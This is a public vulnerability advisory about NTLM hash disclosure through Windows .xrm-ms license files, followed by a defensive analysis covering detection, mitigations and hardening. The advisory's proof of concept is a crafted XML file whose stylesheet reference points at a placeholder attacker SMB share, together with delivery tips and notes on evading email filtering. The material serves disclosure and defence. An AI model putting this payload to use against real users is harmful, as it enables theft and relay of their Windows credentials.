Microsoft Windows - XRM-MS File NTLM Information Disclosure Spoofing

Exploit Author: hyp3rlinx Analysis Author: www.bubbleslearn.ir Category: Local Language: Unknown Published Date: 2025-05-01 
# Exploit Author: John Page (aka hyp3rlinx)
#  Website: hyp3rlinx.altervista.org
#  Source:  https://hyp3rlinx.altervista.org/advisories/Microsoft_Windows_xrm-ms_File_NTLM-Hash_Disclosure.txt
#  x.com/hyp3rlinx
# ISR: ApparitionSec
 

[Vendor]
www.microsoft.com


[Product]
.xrm-ms File Type


[Vulnerability Type]
NTLM Hash Disclosure (Spoofing)


[Video URL PoC]
https://www.youtube.com/watch?v=d5U_krLQbNY


[CVE Reference]
N/A 


[Security Issue]
The Windows XRM-MS file type is related to Microsofts software licensing infrastructure.
C:\> assoc .xrm-ms=MSSppLicenseFile.

An "xrm-ms" digital license file opens default (times a tickin) in Internet Explorer (MSIE) and on later OS versions switches to MS Edge.
The ".xrm-ms" file format allows injecting XML stylesheets that will then get processed, when a user opens it.
Adversaries can reference UNC paths for the stylesheet HREF tag that points to LAN network share or attacker controlled infrastructure. 

This results in an outbound connection to the attacker controlled network share and or server, leaking the target NTLM hash.
Works from both a LAN network share perspective or remote forced drive-by download to a target etc. User interaction is required to open the file. 

During testing, xrm-ms file type not blocked by Windows Office Outlook client 2016 and a popular Email Gateway Security product as of few days ago.

Xrm-Ms File points:

1) XRM-MS is not considered dangerous file type 
2) Defaults to open in either MSIE or Edge Win7/10/11/Server 2019
3) Default Icon as it is Windows browser may make it appear more "trust-worthy"
4) Throws no errors from the stylesheet directive when processed
5) May bypass some inbound email security inspections
6) No MOTW roadblocks
7) No active content security warnings

Tested successfully in Win7/Win10/Server 2019
Mileage may vary on Windows 11 and or recently updated systems.

[Exploit/POC]

Delivery options:
Drive-by force download
Email
Network Share
Archive .zip etc


1) Create .xrm-ms File with following content, adjust attacker server information. Actually, all you need is the one XML stylesheet to trigger it.

<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="\\ATTACKER-SERVER\NTLMhashLeakDontMeetMSRCBarPoC" ?>
<r:license xmlns:r="http://www.microsoft.com/DRM/rightsManager">
  <r:licenseID>12345-67890-ABCDE</r:licenseID>
  <r:productName>Windows(R) Operating System, VOLUME_KMSCLIENT channel</r:productName>
  <r:productKeyID>XXXXX-XXXXX-XXXXX-XXXXX-XXXXX</r:productKeyID>
  <r:hardwareBinding>
    <r:hash>AA11BB22CC33DD44EE55</r:hash>
  </r:hardwareBinding>
  <r:validity>
    <r:validFrom>2024-01-01T00:00:00</r:validFrom>
    <r:validUntil>2025-01-01T00:00:00</r:validUntil>
  </r:validity>
  <r:signature>...</r:signature>
</r:license>


[Network Access]
Remote


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification:  April 17, 2025
MSRC response: "report is a moderate spoofing and doesn't meet the bar." April 29, 2025 
April 30, 2025 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content copyright (c).

hyp3rlinx


Microsoft Windows .xrm-ms File NTLM Information Disclosure (Spoofing) — Analysis, Impact, and Mitigation

Overview

The .xrm-ms file type is a Microsoft licensing file format used by Windows digital licensing infrastructure. Security research has demonstrated that when these files are rendered by a browser engine (Internet Explorer / Edge) on Windows, embedded XML processing directives can cause the system to reach out to network resources. In some configurations that outbound contact can trigger NTLM-based authentication attempts to remote hosts, exposing NTLM authentication material that an attacker can capture and potentially abuse.

Scope and Risk Summary

  • Attack vector: user-opened .xrm-ms files delivered via email, archive, network share, or web download.
  • Requirement: user interaction — the target must open the file.
  • Impact: disclosure of NTLM authentication artifacts (hashes/tokens) to a remote endpoint; enabling subsequent credential replay/relay or offline cracking attempts.
  • Exploitability: medium in default enterprise deployments where outbound SMB/HTTP access and NTLM authentication remain allowed.

How this class of issue works (high level)

Many XML-based file formats support processing instructions or stylesheet references. When a file renderer processes such directives, it may try to load external resources referenced by those directives. If the external reference uses a network path (for example, a UNC path or other network URL that triggers SMB/NTLM negotiation), Windows may perform an automatic network authentication using NTLM. An attacker who controls the referenced endpoint can capture the resulting authentication exchange.

This is a general pattern seen across multiple file formats and protocols; the risk hinges on both the file type being opened by a browser engine or similar processor and on environment defaults that allow outbound NTLM negotiation to untrusted hosts.

Practical Impact and Attack Scenarios

  • Email delivery: malicious .xrm-ms attachments bypassing some gateway filters and opened by recipients.
  • Drive-by content: forced downloads or social-engineered attachments on shared storage.
  • Local discovery: an attacker-influenced intranet resource referenced by a seemingly legitimate local file.

Why NTLM disclosure matters

NTLM authentication exchanges contain cryptographic verifiers derived from user credentials. While modern NTLMv2 is stronger than legacy protocols, captured NTLM material can still enable:

  • Relay attacks (in environments where SMB signing or other protections are not enforced).
  • Offline brute-force / cracking attempts against weaker password-derived material.
  • Privilege escalation or lateral movement when reused against services that accept the authentication type.

Detection and Monitoring Guidance

Defenders should instrument endpoints and network controls to detect suspicious activities that align with this pattern:

  • Network indicators: unexpected outbound SMB (TCP 445/139) or other file-protocol connections to unfamiliar or external hosts originating from user workstations.
  • Authentication indicators: Windows authentication events tied to machine or user accounts immediately following file-open actions. Look for patterns of NTLM authentication to hosts that users shouldn’t normally contact.
  • Mail gateway logs: deliveries of .xrm-ms attachments or messages with attachments that are not typical for your organization.

Use existing EDR/NGAV and network logs to correlate a user opening an unusual file type with subsequent outbound connections and NTLM negotiation attempts. Flag anomalous destinations (public IPs, foreign domains, or low-reputation hosts).

Recommended Mitigations

Mitigations are both preventative (stop delivery/opening) and compensating (limit what is disclosed and how it can be abused):

  • Email and perimeter filtering: block or quarantine .xrm-ms attachments at the gateway, or apply stricter inspection policies for such file types. If your gateway supports file-type blocking or extension-based policies, add .xrm-ms to the restricted list.
  • User awareness and policies: instruct users not to open unexpected or unsolicited license files and to verify senders. Phishing-resistant training reduces the chance of interaction.
  • Network controls: restrict outbound SMB and other file-sharing protocols from user endpoints to the internet. Implement egress firewall rules so workstations cannot initiate SMB to arbitrary external IPs.
  • Harden NTLM usage: where feasible, reduce or eliminate NTLM usage through Microsoft-recommended group policies (restrict NTLM, enable SMB signing, require Kerberos where possible). Gradual rollouts and testing are advised; follow your change-management procedures.
  • Endpoint policies: block or restrict file associations that dispatch untrusted file types into browser engines; consider treating .xrm-ms as a potentially dangerous file type within endpoint and DLP solutions.
  • Disable legacy protocols: ensure SMBv1 is disabled across your estate and that other legacy fallbacks are removed to reduce protocol-level exposure.

Mitigation Prioritization

Action Priority Notes
Block .xrm-ms at email gateway High Prevents common delivery vector with little operational impact.
Restrict outbound SMB/UNC egress High Stops remote capture of NTLM artifacts to the internet.
Enforce SMB signing / restrict NTLM Medium Requires testing; reduces usefulness of captured NTLM data.
User training and suspicious-file handling Medium Important as a compensating control.

Detection Example (conceptual)

Monitor for correlations like: a user process that renders a document followed within seconds by an outbound SMB session to an unexpected host, together with NTLM authentication negotiation. Configure alerts for such sequences rather than relying solely on static indicators.

Vendor Response and Disclosure

The reported issue was communicated to the vendor (Microsoft). Publicly available discussion indicates the vendor characterized the report as a moderate spoofing issue and, in that assessment, did not classify it as meeting the bar for emergency patching. Organizations should still treat the risk as real because exploitation requires only user interaction combined with permissive network/default authentication behavior.

When vendor patches or guidance are published, follow vendor advisories and apply recommended updates and configuration changes promptly.

Operational Recommendations for Administrators

  • Review mail-gateway and DLP rules to ensure suspicious or uncommon extensions (.xrm-ms and similar) are flagged or blocked.
  • Implement least-privilege network egress: deny SMB/445 from endpoints to the internet and only allow to sanctioned internal servers.
  • Audit NTLM usage across the environment and plan for gradual elimination where possible; use Microsoft guidance for "Restrict NTLM" policies with careful testing in lab and pilot groups.
  • Ensure endpoint agents (EDR/AV) are updated and can detect anomalous network authentication attempts originating from user processes.
  • Establish incident response playbooks that include containment steps for suspected NTLM leakage (isolate endpoints, capture memory/network evidence, reset exposed credentials).

Responsible Disclosure and Threat Modeling

Vulnerabilities that can be used to leak authentication material are noteworthy even when user interaction is required. Organizations should include file-rendering-induced network requests in their threat models and adjust email/file handling policies accordingly. For defenders, assume that any file type that invokes external references can be abused unless explicitly blocked or sandboxed.

Conclusion

The .xrm-ms scenario highlights a broader class of risks: files that are not commonly treated as dangerous can still trigger networking behavior leading to credential exposure. The most effective defenses combine policy (blocking/quarantining unusual file types), network controls (preventing unintended egress), and authentication hardening (reducing the attack surface provided by NTLM). Monitor for anomalous outbound authentication attempts and prioritize mitigations that match your risk posture and operational constraints.